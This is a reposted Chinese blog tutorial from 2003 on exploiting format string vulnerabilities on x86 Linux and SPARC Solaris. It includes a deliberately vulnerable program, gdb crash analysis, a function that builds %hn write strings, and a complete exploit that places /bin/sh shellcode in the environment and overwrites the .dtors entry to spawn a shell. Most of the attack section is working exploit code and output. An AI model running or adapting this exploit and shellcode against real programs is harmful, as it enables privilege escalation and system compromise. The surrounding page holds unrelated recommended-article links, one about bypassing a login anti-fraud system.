【分析】如何利用格式化溢出漏洞,x86/sparc

《黑客攻防技术宝典:系统实战篇(第2版)》目录 @《黑客攻防技术宝典:系统实战篇(第2版)》目录 一、前言: 边看边写边实操 二、目录: 操作系统是连接计算机硬件与上层软件及用户的桥梁。该书全面介绍了操作系统的安全问题。从基本的栈、堆、内存布局等方面着手,深入到操作系统的各个层次方面。 第一部分:破解入门:x86上的Linux 第1章:基础 1、基本概念 (1)内存管理 (2)汇编语言 2、识别汇编指令里的C&C++代码 第2章:栈溢出... 阅读详情

如何利用格式化溢出漏洞,x86/sparc


创建时间:2003-07-16
文章属性:转载
文章提交: silverlizard (silverlizard_at_vertarmy.org)

作者: Sam

目录:
    1、什么是格式化溢出漏洞?
    2、如何在x86/sparc exploit format string
    3、确定retaddr/retloc的值
    4、通用的模板


1、什么是格式化(format strings)溢出漏洞?
   这里讲不详细列举关于格式化溢出的理论性的文章,而主要侧重于如何利用格式化溢出漏洞。如果您对格式化溢出不熟悉的话请
查看以下链接的资料,如果您对格式化溢出漏洞,asm/c语言有一定的基础的话,请跳转到第2章节。
   关于格式化溢出的详细资料,请观看以下链接的文章:
   (1)在Linux上利用Format String漏洞
   http://www.nsfocus.net/index.php?act=magazine&do=view&mid=1635
   (2)*printf()格式化串安全漏洞分析(上)(下)
   http://www.nsfocus.net/index.php?act=magazine&do=view&mid=533
   http://www.nsfocus.net/index.php?act=magazine&do=view&mid=534
   (3)Solaris for SPARC 堆栈溢出程序编写(续)
   http://www.nsfocus.net/index.php?act=magazine&do=view&mid=683


2、如何在x86/sparc exploit format string
   下面我将会step by step的详细介绍如何去利用一个格式化溢出的漏洞。
一个简单的有格式化溢出漏洞的例子:
  
[dove@rh80 test]$ uname -a
Linux rh80 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux
[dove@rh80 test]$ cat ./vulfs.c
void foo (char *str) {
        char buf[256];
        snprintf(buf,sizeof (buf),str);  /* 直接把用户提交的数据打印到缓冲区里面去,并没有限制用户提交格式化串 */
        printf("%s/n",buf);
        return;            
}

int main (int argc, char **argv)
{
        foo(argv[1]);
        return 0;
}

[dove@rh80 test]$ gcc -o vulfs vulfs.c
[dove@rh80 test]$ ./vulfs AAAABBBB
AAAABBBB
[dove@rh80 test]$ ./vulfs BBBB%20d%x
BBBB           13451311142424242
[dove@rh80 test]$
如果这里我们把%x换成%n就会把前面的字符串的个数连同4个B的格式(%20d -> 20个 %d + 4 个B = 24)写入BBBB对应的0x42424242的地址
(gdb) r BBBB%20d%n
Starting program: /home/dove/test/vulfs BBBB%20d%n

Program received signal SIGSEGV, Segmentation fault.
0x4204a609 in vfprintf () from /lib/i686/libc.so.6
(gdb) bt
#0  0x4204a609 in vfprintf () from /lib/i686/libc.so.6
#1  0x4206a3e4 in vsnprintf () from /lib/i686/libc.so.6
#2  0x42052404 in snprintf () from /lib/i686/libc.so.6
#3  0x08048378 in foo ()
#4  0x080483b4 in main ()
#5  0x420158d4 in __libc_start_main () from /lib/i686/libc.so.6
(gdb) x/i $eip
0x4204a609 <vfprintf+9993>:     mov    %edx,(%eax)
(gdb) i r edx eax
edx            0x18     24
eax            0x42424242       1111638594
(gdb)

ok, 根据上面的信息就可以构造一个exploit code, 在exploit code中我们利用%hn(把参数个数写入一个地址的高2字节),代替%n。
利用2次%hn就可以

这里我写了一个自动构造格式化溢出串的函数。

/* 存放一个地址到指定的区域, for little-enbian */
char*
putLong (char* ptr, long value)
{
    *ptr++ = (char) (value >> 0) & 0xff;
    *ptr++ = (char) (value >> 8) & 0xff;
    *ptr++ = (char) (value >> 16) & 0xff;
    *ptr++ = (char) (value >> 24) & 0xff;
    return ptr;
}

/* 检测地址中是否存在零字节 */
int
checkZero (long value)
{
    return !((value & 0x00ffffff) &&
             (value & 0xff00ffff) &&
             (value & 0xffff00ff) &&
             (value & 0xffffff00));

}

/* 我们的构造格式化字符串的函数 */
/* retloc: 你要覆盖的地址 */
/* retaddr: shellcode 地址 */
/* align: 调整字符的位置 */
/* num:需要多少个格式化字符才能打印堆栈中的垃圾数据 */

void buildFs (char *sbuf, unsigned long retloc, unsigned long retaddr, int align, int num)
{
    int        i;
    long        reth, retl;
    char        *ptr;
/* little enbian 地址排列方式 */
#ifdef le    
    reth = (retaddr >> 0) & 0xffff;
        retl = (retaddr >> 16) & 0xffff;
#endif

/* big enbian 地址排列方式 */
#ifdef be    
    reth = (retaddr >> 16) & 0xffff;
        retl = (retaddr >> 0) & 0xffff;
#endif

        printf("retaddr 高2字节: 0x%x / 低2字节: 0x%x/n", reth, retl);
    printf("retloc 地址的值: 0x%x / retloc + 2地址的值: 0x%x/n", retloc, (retloc + 2));
    bzero (sbuf, sizeof (sbuf));
    /* 是否需要align,来对齐format strings */
    if (align < 0 || align > 3) {
        printf("align 的值必须在1-3之间,实际aglin的值:%ld/n", align);
        exit(1);
    }
    /* 检测retloc 中是否有零字节 */
    if (checkZero(retloc) || checkZero(retloc+2) ) {
        printf("retloc 的地址中存在零字节,实际的reloc的值:%x, reloc+2的值:%x/n", retloc, (retloc + 2) );
        exit(1);
    }
    
    /* 构造格式化字符串 */
    ptr = sbuf;
    
    for (i = 0; i < align; i++) {
        *ptr++ = 0x41;
    }
        
    ptr = putLong(ptr, 0x42424242);
    ptr = putLong(ptr, retloc);
    ptr = putLong(ptr, 0x43434343);
    ptr = putLong(ptr, retloc + 2);
    for (i = 0 ; i < num; i ++) {
        memcpy(ptr, "%.8x", 4);
                ptr = ptr + 4;
        }
        sprintf(ptr, "%%%uc%%hn%%%uc%%hn", (reth - align - ((num * 8)+ 16)), 0x10000  + retl - reth);
      
        return;
}

这里我将其中几个详细的参数功能解释一下
void buildFs (char *sbuf, unsigned long retloc, unsigned long retaddr, int align, int num);
char *sbuf: 我们构造的格式化字符串放置的缓冲区。
unsigned long retloc: 我们所有覆盖的一个地址(能够改变程序的执行流程),比如函数返回地址,.dtors结构,GOT结构,atexit结构等等。
unsigned long retaddr: 我们构造的shellcode在内存中的地址。
int align: 我们的格式化字符串是否需要对齐.比如在有些系统上有这样的问题.
构造这样的字符串[a][a][a]AAAABBBB%x%x%x, [a]代表可选,一般值在1-3之间,比如:
[dove@rh80 test]$ ./vulfs aAAAABBBB%x%x%x
aAAAABBBB........4141414142424242
那么我们的align的值就是1
int num: 需要num个格式化字符串参数才能dump内存中垃圾数据。比如我们在solaris sparc8上vulfs.c测试情况如下:
bash-2.05$ uname -a
SunOS sun8 5.8 Generic_108528-07 sun4u sparc SUNW,Ultra-5_10
bash-2.05$ ./vulfs AAAABBBB%x%x%x%x%p
AAAABBBB8223d8ff29bcbc041414141
在这里我们需要4个%x才能dump掉那些垃圾数据。

3、确定retaddr/retloc的值
   关于shellcode的地址确定,有了很多很准确的方法去得到,我们在用execve/execle 可以构造自己的环境变量这样我们就可以
准确的计算出retaddr的值。
比如在x86 linux的环境下我们可以用这样的公式得到:
int retaddr = 0xbffffffa - strlen(shellocde) - strlen("./vulfs");
sparc 下也是这样的概念,在这里我们用warning3写的一个得到sparc下retaddr的函数。
   曾经有一段时间我为了确定reloc的值而发愁,现在我已经掌握了很好的方法来得到这些地址。在x86下我们可以用objdump来得到
.dtors/GOT的地址。
   sparc下可以用这样的方法来得到函数返回地址,但是不是每一个函数返回地址都有效,需要一个个的去尝试 :)。
bash-2.05$ ./vulfs AAAABBBB%x%x%x%x%n
Bus Error (core dumped)
bash-2.05$ gdb ./vulfs core
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "sparc-sun-solaris2.8"...(no debugging symbols found)...
Core was generated by `./vulfs AAAABBBB%x%x%x%x%n'.
Program terminated with signal 10, Bus Error.
Reading symbols from /usr/lib/libc.so.1...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/libc.so.1
Reading symbols from /usr/lib/libdl.so.1...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/libdl.so.1
Reading symbols from /usr/platform/SUNW,Ultra-5_10/lib/libc_psr.so.1...(no debugging symbols found)...done.
Loaded symbols for /usr/platform/SUNW,Ultra-5_10/lib/libc_psr.so.1
#0  0xff3038b4 in _doprnt () from /usr/lib/libc.so.1
(gdb) x/i 0xff3038b4
0xff3038b4 <_doprnt+10912>:     st  %o0, [ %o1 ]
(gdb) i r o0 o1
o0             0x17     23
o1             0x41414141       1094795585
(gdb) bt
#0  0xff3038b4 in _doprnt () from /usr/lib/libc.so.1
#1  0xff3045d4 in snprintf () from /usr/lib/libc.so.1
#2  0x106e0 in foo ()
#3  0x10724 in main ()
(gdb) f 1
#1  0xff3045d4 in snprintf () from /usr/lib/libc.so.1
(gdb) p/x $fp+60
$1 = 0xffbefb44  //snprintf 的返回地址
(gdb)
得到retloc and retaddr 我们就可以去溢出了 :)

4、例子程序

/* heap_fs.c
* heap format strings vuln example
* Sam: explioit it :>
*/

#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>

#define MAXLENGTH    2048

int log_it (const char* format, ...)
{
    char    *p;
    va_list    ap;

    if ((p = malloc (MAXLENGTH)) == NULL)
        return -1;    

    va_start (ap, format);
    vsnprintf (p, MAXLENGTH,  format, ap);
#ifdef HELP
    printf ("%s /n", p);
#endif
    va_end (ap);
    
    free (p);
    
    return 0;
}

int main (int argc, char **argv)
{
    if (argc != 2) {
        printf ("need args /n");
        return -1;
    }

    log_it (argv[1]);

    return 0;
        
}
    

/* ex_heap_fs.c
* exploit heap format strings vuln code
* by Sam
*
*/
#include <stdio.h>
#include <strings.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <errno.h>

/* .dtors */
#define dtors_addr  0x80495bc + 4
#define HELL        "./heap_fs"


char shellcode[]=
"/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
"/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
"/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
"/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
"/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
"/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
/* shellcode */
"/x31/xc0/x31/xdb/xb0/x17/xcd/x80/xeb/x1f/x5e/x89/x76/x08/x31"
"/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b/x89/xf3/x8d/x4e/x08/x8d"
"/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd/x80/xe8/xdc/xff/xff"
"/xff/x2f/x62/x69/x6e/x2f/x73/x68/x58";


/*
* put a address in mem, for little-enbian
*
*/
char*
putLong (char* ptr, long value)
{
    *ptr++ = (char) (value >> 0) & 0xff;
    *ptr++ = (char) (value >> 8) & 0xff;
    *ptr++ = (char) (value >> 16) & 0xff;
    *ptr++ = (char) (value >> 24) & 0xff;
    
    return ptr;
}


/*
*check the /x00 byte
*/
int
checkZero (long value)
{
    return !((value & 0x00ffffff) &&
             (value & 0xff00ffff) &&
             (value & 0xffff00ff) &&
             (value & 0xffffff00));

}

/*
* FIXME:
* build format strings
* retloc: the addrees you wanna rewrite
* retaddr: shellcode address
* align: the aligns
* num: how many %.8x can dump the stack data
* offset: some shellcode offset
*
*/

void buildFs (char *sbuf, unsigned long retloc, unsigned long retaddr, int offset, int align, int num)
{
    int        i;
    long        reth, retl;
    char        *ptr;
    
    /* little enbian  */
    
    reth = (retaddr >> 0) & 0xffff;
        retl = (retaddr >> 16) & 0xffff;

#ifdef    DEBUG
        printf ("retaddr high word: 0x%x / low word: 0x%x/n", reth, retl);
    printf ("retloc : 0x%x / retloc + 2: 0x%x/n", retloc, retloc + 2);
#endif
    bzero (sbuf, sizeof (sbuf));
    
    if (align < 0 || align > 3) {
        printf ("align must between 1-3,"
            "the aglin vaule:%ld/n", align);
        exit (1);
    }
    /* check zero byte */
    if (checkZero (retloc) || checkZero (retloc+2) ) {
        printf ("retloc have zero byte ; </n");
        exit (1);
    }
    
    ptr = sbuf;
    
    for (i = 0; i < align; i++) {
        *ptr++ = 0x41;
    }
    /* Padding */
    ptr = putLong (ptr, 0x42424242);
    ptr = putLong (ptr, retloc);
    ptr = putLong (ptr, 0x43434343);
    ptr = putLong (ptr, retloc + 2);
    for (i = 0 ; i < num; i ++) {
        memcpy (ptr, "%.8x", 4);
                ptr = ptr + 4;
        }

        sprintf (ptr, "%%%uc%%hn%%%uc%%hn", reth - offset - align -(num*8 + 16) , 0x10000 + offset + retl - reth);
      
        return;
}


/*
* main function
*
*/                                
int main()
{
    int    ret_addr;
        char    buf[256];
        char    *args[24];
        char     *env[2];

    /* our shellcode address */
    ret_addr = 0xbffffffa - strlen(shellcode) - strlen(HELL);
    
    /* put in env */
    env[0] = shellcode;
    env[1] = NULL;
    
    printf ("Use shellcode 0x%x/n", ret_addr);
        
        bzero (buf, sizeof(buf));
        /* build format strings */
        buildFs (buf, dtors_addr, ret_addr, 0, 3, 65);  /* exploit */

        /* lamer ;) */
        args[0] = HELL;
        args[1] = buf;
    args[2] = NULL;
    
    execve (args[0], args, env);
        perror ("execve");
        
    return 0;
}
/* end of main */
信捷PLC XD5系列运动控制(10轴)编程应用篇 项目PLC采用XD5-60T10-E,36DI 24DO 晶体管输出,支持10路脉冲输出功能。TMR指令定时器时基可以自己设定,这点比其他品牌PLC方便。ZRN指令我们需要上升沿指令触发。 5、变址寻址 该说不说这个变址寻址是真的强,比西门子指针、三菱的变址寄存器Z 、V都要更加灵活。 7、特殊寄存器:时钟 8、如何建立PLC通讯............... 阅读详情

相关推荐

携程登录风控逆向踩坑实录:从滑块到点选验证码,我是如何一步步拿到phantom-token的

本文详细解析了携程登录风控系统的逆向过程,从滑块验证码到点选验证码的破解,再到设备指纹生成和加密协议逆向,最终成功获取phantom-token。文章提供了关键代码示例和实战技巧,帮助开发者理解并绕过复杂的风控机制。

weixin_28049429的博客 975

格式化字符串溢出

漏洞原理:        printf是c语言中少有的支持可变参数的库函数。对于可变参数的函数。函数的调用者可以自由的指定函数参数的数量和类型,被调用者无法知道在函数调用之前到底有多少参数被压入栈帧当中。        格式化字符串漏洞的产生根源主要源于对用户输入未进行过滤,这些输入数据都作为数据传递给某些执行格式化操作的函数,如printf,sprintf,vprintf,vprintf。恶...

每昔的博客 1万+

CMakeTestCCompiler.cmake错误解决

CMakeTestCCompiler.cmake错误解决欢迎使用Markdown编辑器新的改变功能快捷键合理的创建标题,有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants创建一个自定义列表如何创建一个注脚注释也是必不可少的KaTeX数学公式新的甘特图功能,丰富你的文章UML 图表FLowchart流程图导出与导入导出导入 最近编译项目的时候,遇到一个cmake的错误,具体错误信息如下: /path-to-pr

昨夜星辰的博客 2万+

软件漏洞篇(下)

软件漏洞篇:介绍格式化字符串漏洞、整数溢出漏洞、攻击C++虚函数、其他类型漏洞(注入类、权限类)

m0_57929980的博客 1023

硬件原理图:从软件思维到硬件接口的嵌入式开发破局指南

本文为软件开发者提供了读懂硬件原理图的嵌入式开发破局指南。文章将硬件原理图类比为“硬件系统的架构图”,引导读者将软件API调用思维迁移到硬件接口理解上,详细解析了电阻、电容、二极管等常见元器件的“硬件API”功能与选型逻辑,并通过实战电路拆解,阐述了从原理图分析到驱动代码编写的完整思维链条,帮助开发者建立软硬件协同的系统级视角。

lg888的博客 497

手把手教你为ArduPilot添加自定义飞行模式:以自动巡检航线为例

本文详细介绍了如何为开源飞控ArduPilot添加自定义飞行模式,并以自动巡检航线为例,提供了从状态机设计、代码实现到地面站集成的完整开发指南。通过七步法手把手教学,帮助开发者深入理解飞控核心逻辑,实现无人机自主执行复杂巡检任务,满足行业应用定制需求。

weixin_29306875的博客 138

漏洞学习笔记——格式化字符串溢出

格式化字符串溢出指的是调用类似sprintf函数时,没有限定长度而产生溢出。printf中的%s是直接在后面的参数栈中搜索字符串的,直到遇到’\0’。以下代码就可以产生简单的格式化溢出效果。 #include "stdafx.h" #include <stdlib.h> #include <windows.h> #pragma runtime_checks( "[runtime_checks]", off) void Overflow(char* pData, unsigned

谈成(C/C++) 1093

使用VIVADO 2019.1 搭建以太网接口

以太网 MAC+SGMII->GMII接口转换 以FPGA V7为例,搭建一个千兆以太网接口。运行环境为Vivado2019.1。板卡的FPGA V7与千兆网口芯片采用SGMII互联,最终实现FPGA与上位机之间的千兆网卡通信,实际实现时,V7采用MAC + GMII ->SGMII的结构。SGMII接口使用1G/2.5G Ethernet PCS/PMA or SGMII ip核,MAC层使用Tri Mode Ethernet MAC ip核。 由于MAC层IP不支持SGMII接口,因此需要G

qq_44641513的博客 8415

格式化字符串漏洞之大数溢出(攻防世界实时数据检测write_up)

大数溢出: 就是当你发现了格式化字符串漏洞时,想要向目标地址 写入较大的数,这样使用"%num$n"就没办法达成目标,这样就需要另外两个格式化字符。 下面以XCTF的实时数据检测为例子: 第一步用checksec查看保护,和位数: 第二步用ida查看漏洞: 发现存在格式化字符串漏洞,并且当key的值为“35795746”时渗透成功 查看key地址,由于我们需要设置key的值为3579574...

qq_35066257的博客 802

R语言安装包镜像报错?5分钟教你快速切换国内镜像源(含清华/阿里云配置)

本文详细介绍了R语言安装包镜像报错的解决方案,包括如何快速切换国内镜像源(如清华、阿里云等),解决'无法读写貯藏處索引'等常见问题。通过图形界面和命令行两种方式,帮助用户高效配置镜像源,提升R语言包安装速度与稳定性。

weixin_29053073的博客 419

电竞护航系统成品搭建俱乐部点单小程序开发三角洲小程序搭建

电竞护航系统成品搭建俱乐部点单小程序开发三角洲小程序搭建

dapengglove的博客 1683

格式化字符串溢出实验

视频链接:https://drive.google.com/open?id=1gtUlztkKCP2Oy42mdtkS3WAdgsWCNJHF 课程编写 类别 内容 实验课题名称 格式化字符串溢出实验 实验目的与要求 了解格式化字符串溢出的基本概念 掌握格式化字符串溢出的原理和性质 ...

weixin_30387339的博客 754

柑橘病虫害识别方案总结

1. 方案一 1.1 赛题背景 1.2 数据分析 1.3 模型设计 1.3.1 模型具体方案 1.3.2 模型设计 1.4 实验结果 1.5 总结与展望 2. 方案二 2.1 赛题介绍 2.2 数据分析 2.3 算法方案解析 2.3.1 检测模型 2.3.2 提升策略 2.4 优化思路 3. 方案三 3.1 数据分析 3.1.1 数据说明 3.2 技术展示 3.2.1 数据输入端 3.2.2 模型结构端 3.2.3 上下文信息 3.2.4 训练优化端 3.2.5 创新性分析 3.3 算法及系统思考.....

herosunly的博客 2万+

软件漏洞及缓冲区溢出

软件漏洞及缓冲区溢出 文章作者:davy_yan 本文是我做溢出的一点心得,希望大家提出宝贵的修改意见,也希望对大家有一定的帮助:) 软件漏洞及缓冲区溢出 一、 缓冲区溢出的发展简史 1、 基础知识 (1) 汇编语言 (2) 反汇编原理及Intel机器指令编码体系 (3) 调试器原理 (4) 异常处理(SEH) (5) 调...

weixin_30646505的博客 1117

蓝牙模块HM-10手册

蓝牙模块HM-10手册,该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。

华为的C语言编程规范.pdf

华为技术有限公司内部技术规范。本规范制定了编写C语言程序的基本原则、规则和建议。从代码的清晰、简洁、可测试、安全、程序效率、可移植各个方面对C语言编程作出了具体指导。

软件漏洞及缓冲区溢出原理 (zz)

软件漏洞及缓冲区溢出一、     缓冲区溢出的发展简史1、     基础知识(1)     汇编语言(2)     反汇编原理及Intel机器指令编码体系(3)     调试器原理(4)     异常处理(SEH)(5)     调试技术(6)     Windows API 开发2、     软件漏洞分类逻辑漏洞:如条件竟争。编码漏洞:如缓冲区溢出漏洞,格式化字符串漏洞等3、     缓冲区溢出

afxid的专栏 3606

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

缓冲区溢出历史回顾

作者:fannywei在国外,早在80年代初就有人开始讨论溢出攻击,1989年,Spafford提交了一份关于运行在VAX机上的BSD版UNIX的fingerd的缓冲区溢出程序的技术细节的分析报告,这引起了一部分安全人士对这个研究领域的重视,但毕竟仅有少数人从事研究工作,对于公众而言,没有太多具有学术价值的可用资料。来自L0pht heavy Industries的Mudge写了一篇如何利用BSD

生命的守望 5040

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

软件漏洞及缓冲区溢出 [z]

本文是我做溢出的一点心得,希望大家提出宝贵的修改意见,也希望对大家有一定的帮助:)软件漏洞及缓冲区溢出一、 缓冲区溢出的发展简史1、 基础知识(1) 汇编语言(2) 反汇编原理及Intel机器指令编码体系(3) 调试器原理(4) 异常处理(SEH)(5) 调试技术(6) Windows API 开发2、 软件漏洞分类逻辑漏洞:如条件竟争。编码漏洞:如缓冲区溢出漏洞,格式化字符串漏洞等3、 缓冲区溢

462

[转]“司令”的缓冲区溢出心得

一、 缓冲区溢出的发展简史1、 基础知识(1) 汇编语言(2) 反汇编原理及Intel机器指令编码体系(3) 调试器原理(4) 异常处理(SEH)(5) 调试技术(6) Windows API 开发2、 软件漏洞分类逻辑漏洞:如条件竟争。编码漏洞:如缓冲区溢出漏洞,格式化字符串漏洞等3、 缓冲区溢出漏洞利用历史在国外,早在80年代初就有人开始讨论溢出攻击。1989年,Spafford提交了一份关于

ToBeroOTer的专栏 1628

Zephyr项目文档

允许系统资源在编译时定义,此时定义可减少代码大小,并提升资源受限的系统性能。​ Zephyr的构建系统是基于CMake的。​ 构建系统是以应用程序为中心的,它要求基于Zephyr的应用程序启动Zephyr源代码的构建。应用程序构建控制着应用程序和Zephyr本身的配置及构建过程,并将它们编译成一个单一的二进制文件。​ 主Zephyr仓库包含Zephyr的源代码、配置文件和构建系统。你也可以像安装各种模块(外部项目)一样,Zephyr仓库与第三方提供的源代码集成在一起。

glen_cao的博客 136

整数溢出漏洞和格式化字符串漏洞

漏洞成因: 在计算机中,整数类型分为无符号整数和有符号整数 两种。 有符号整数会在最高位用0表示正数,1表示负 数,而无符号整数则没有这种规则。 常见的整数类型有8位(单字节字符类型、布尔类型)、 16位(短整型)、32位(长整型)等。 当一个整数存入了比它本身小的存储空间中,超出了 数据类型所能表示的范围时,就会发生整数溢出。 1. 基础知识 整数数据类型 数据类型 : ...

AlexYoung28的博客 7429

缓冲区溢出-printf格式化输出漏洞

0x00本文视频:如果文字过于枯燥可观看在线视频:https://edu.51cto.com/sd/165140x01基础知识:在c语言中printf的使用方法为printf(format,<参量表>),printf是c语言中少见的可变参数的库函数,printf在调用前无法知道传入的参数到底有多少个(在32位汇编中参数都是压入栈中,也就是说printf不知...

weixin_34364135的博客 2738

*printf()格式化串安全漏洞分析(上)

*printf()格式化串安全漏洞分析(上) (转) 测试平台:RedHat 6.1, RedHat 6.2 (Intel i386) 前言: ===== 最近一段时间,一种新的安全漏洞正开始引起人们注意,就是诸多的*printf()函数的格式 化串问题。其实这个问题应该说并不鲜见,只是一直没有人注意它,直到最近才开始进行 一些深入的讨论。格式化串的问题实际上是由于程序员编程时

rheostat的专栏 1万+

格式化字符串漏洞简介

简介格式化字符串,也是一种比较常见的漏洞类型。

PrettyDay的博客 8145

缓冲区溢出和格式化字符串漏洞代码分享

0x00 这个 http://blogs.microsoft.co.il/applisec/2006/12/04/buffer-overflow-overrun-examples/ https://bbs.pediy.com/thread-217035.htm Demo1 Classic Buffer Overrun Example. #include &amp;amp;lt;stdio.h&amp;amp;gt; #incl...

Tesi1a的充电桩 1601
上一篇: 【原理】Shellcode编写技术
下一篇: 【实战】Exploit,shellcode经验技巧杂谈
freexploit
博客等级 码龄22年 315粉丝 778原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值